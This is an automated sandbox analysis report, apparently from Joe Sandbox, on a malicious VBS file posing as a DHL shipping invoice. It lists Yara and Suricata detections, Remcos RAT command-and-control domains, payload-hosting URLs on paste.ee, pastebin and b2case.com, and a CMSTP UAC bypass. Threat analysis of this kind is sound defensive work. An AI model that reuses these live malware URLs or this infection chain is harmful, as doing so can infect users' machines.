Windows Analysis Report
DHLShippingInvoicesAwbBL000000000102220242247.vbs

AI detected suspicious sample

Source: Yara match	File source: 40.2.powershell.exe.1b33d0e6cd0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.1e3b1478da0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.powershell.exe.1a8905a8228.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1ab996e87d0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.powershell.exe.1c222be89d8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1ab996e87d0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.1e3b1478da0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.powershell.exe.1c222be89d8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.powershell.exe.1a8905a8228.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.powershell.exe.1b33d0e6cd0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2364592750.000001E3B1150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2788200178.000001B33CDBE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2563409063.000001A890401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2531838956.000001C222A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7820, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\kanspt.dat, type: DROPPED

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_004338C8 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

23_2_004338C8

Source: powershell.exe, 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_7af7000a-4

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 40.2.powershell.exe.1b33d0e6cd0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.1e3b1478da0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.powershell.exe.1a8905a8228.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1ab996e87d0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.powershell.exe.1c222be89d8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1ab996e87d0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.1e3b1478da0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.powershell.exe.1c222be89d8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.powershell.exe.1a8905a8228.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.powershell.exe.1b33d0e6cd0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2364592750.000001E3B1150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2788200178.000001B33CDBE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2563409063.000001A890401000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1931941329.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2531838956.000001C222A41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7820, type: MEMORYSTR

Privilege Escalation

Contains functionality to bypass UAC (CMSTPLUA)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_00407538 _wcslen,CoGetObject,

23_2_00407538

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49751 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 21_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	21_2_100010F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	23_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	23_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	23_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	23_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	23_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00407877 FindFirstFileW,FindNextFileW,	23_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	23_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	23_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	23_2_0040BD72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0040AE51 FindFirstFileW,FindNextFileW,	29_2_0040AE51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,	30_2_00407EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,	31_2_00407898

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

23_2_00407CD2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.4:49745 -> 43.226.229.232:57484
Source: Network traffic	Suricata IDS: 2032777 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Server Response : 43.226.229.232:57484 -> 192.168.2.4:49745
Source: Network traffic	Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1 : 188.114.96.3:443 -> 192.168.2.4:49735
Source: Network traffic	Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1 : 188.114.96.3:443 -> 192.168.2.4:49735

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: iwarsut775laudrye001.duckdns.org
Source: Malware configuration extractor	URLs: iwarsut775laudrye001.duckdns.org
Source: Malware configuration extractor	URLs: iwarsut775laudrye3.duckdns.org
Source: Malware configuration extractor	URLs: hjnourt38haoust1.duckdns.org

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: paste.ee
Source: unknown	DNS query: name: pastebin.com

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 191.252.83.213 ports 1,2,60710,60113,60162,21

Uses dynamic DNS services

Source: unknown

DNS query: name: iwarsut775laudrye001.duckdns.org

Yara detected Generic Downloader

Source: Yara match	File source: 3.2.powershell.exe.2203c568c58.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.powershell.exe.1c21294da58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.powershell.exe.1ab8944f358.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.1e3a11dd948.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.powershell.exe.2203d996da0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.powershell.exe.1b32ce4ed60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.powershell.exe.1a88030d738.0.raw.unpack, type: UNPACKEDPE

Source: global traffic	TCP traffic: 192.168.2.4:49731 -> 191.252.83.213:60113
Source: global traffic	TCP traffic: 192.168.2.4:49745 -> 43.226.229.232:57484

Source: global traffic	HTTP traffic detected: GET /d/jm8qu/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/d80GV/0 HTTP/1.1Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /class.txt HTTP/1.1Host: b2case.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/r322U/0 HTTP/1.1Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: SOFTLAYERUS SOFTLAYERUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49748 -> 178.237.33.50:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.4:49734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49741 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.4:49741 -> 188.114.96.3:443

Source: unknown

FTP traffic detected: 191.252.83.213:21 -> 192.168.2.4:49730 220 "Servico de FTP da Locaweb"

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_0041B411 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

23_2_0041B411

Source: global traffic	HTTP traffic detected: GET /d/jm8qu/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/d80GV/0 HTTP/1.1Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /class.txt HTTP/1.1Host: b2case.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d/r322U/0 HTTP/1.1Host: paste.ee
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: AddInProcess32.exe	String found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
Source: AddInProcess32.exe	String found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: ftp.desckvbrat.com.br
Source: global traffic	DNS traffic detected: DNS query: paste.ee
Source: global traffic	DNS traffic detected: DNS query: b2case.com
Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: iwarsut775laudrye001.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: powershell.exe, 00000003.00000002.1919143366.000002203C6BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://b2case.com
Source: powershell.exe, 00000005.00000002.2605240365.0000028054873000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: powershell.exe, 00000003.00000002.1919143366.000002203D80B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://desckvbrat.com.br
Source: powershell.exe, 00000003.00000002.1919143366.000002203D80B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.desckvbrat.com.br
Source: AddInProcess32.exe, 00000015.00000002.3074510288.0000000000F18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/
Source: AddInProcess32.exe	String found in binary or memory: http://geoplugin.net/json.gp
Source: powershell.exe, 0000000D.00000002.2290132644.000001AB99541000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2290132644.000001AB99151000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp/C
Source: powershell.exe, 00000003.00000002.1919143366.000002203DC0E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2943623698.000002204C172000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2409816379.0000015C9A3F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2311218245.000002804C253000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1778802424.0000018ACDCA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1930444646.0000018ADC42F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1930444646.0000018ADC566000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2013682859.000002D4E3686000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2013682859.000002D4E3550000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D4DC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.1919143366.000002203C724000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://paste.ee
Source: powershell.exe, 0000000D.00000002.1948758053.000001AB895D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: powershell.exe, 00000008.00000002.1779641476.000002D4D4D6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1789063987.0000015C8A5A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1787528120.000002803C402000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000001.00000002.3078580117.0000015B800B0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C101000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1789063987.0000015C8A381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1787528120.000002803C1E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1778802424.0000018ACC3B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D34D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000004.00000002.1789063987.0000015C8A5A2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1787528120.000002803C402000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000007.00000002.1778802424.0000018ACD883000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D49A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000008.00000002.1779641476.000002D4D4D6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: AddInProcess32.exe	String found in binary or memory: http://www.ebuddy.com
Source: AddInProcess32.exe	String found in binary or memory: http://www.imvu.com
Source: powershell.exe, 00000008.00000002.2115107372.000002D4EB8D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: AddInProcess32.exe	String found in binary or memory: http://www.nirsoft.net/
Source: powershell.exe, 00000001.00000002.3078580117.0000015B8005F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6
Source: powershell.exe, 00000001.00000002.3078580117.0000015B8007E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C101000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1789063987.0000015C8A381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1787528120.000002803C1E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1778802424.0000018ACC3B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1779641476.000002D4D34D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee
Source: powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://analytics.paste.ee;
Source: powershell.exe, 00000003.00000002.1919143366.000002203C6B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://b2case.com
Source: powershell.exe, 00000001.00000002.3078580117.0000015B80D2D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C6B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://b2case.com/class.txt
Source: powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com
Source: powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com;
Source: powershell.exe, 00000008.00000002.1779641476.000002D4D4DC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.1779641476.000002D4D4DC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.1779641476.000002D4D4DC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.1891382694.000002203A54B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=
Source: powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com
Source: powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C508000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C4F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D88E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203DBEC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C694000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203C729000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: powershell.exe, 00000008.00000002.1779641476.000002D4D4D6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.1919143366.000002203D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: AddInProcess32.exe	String found in binary or memory: https://login.yahoo.com/config/login
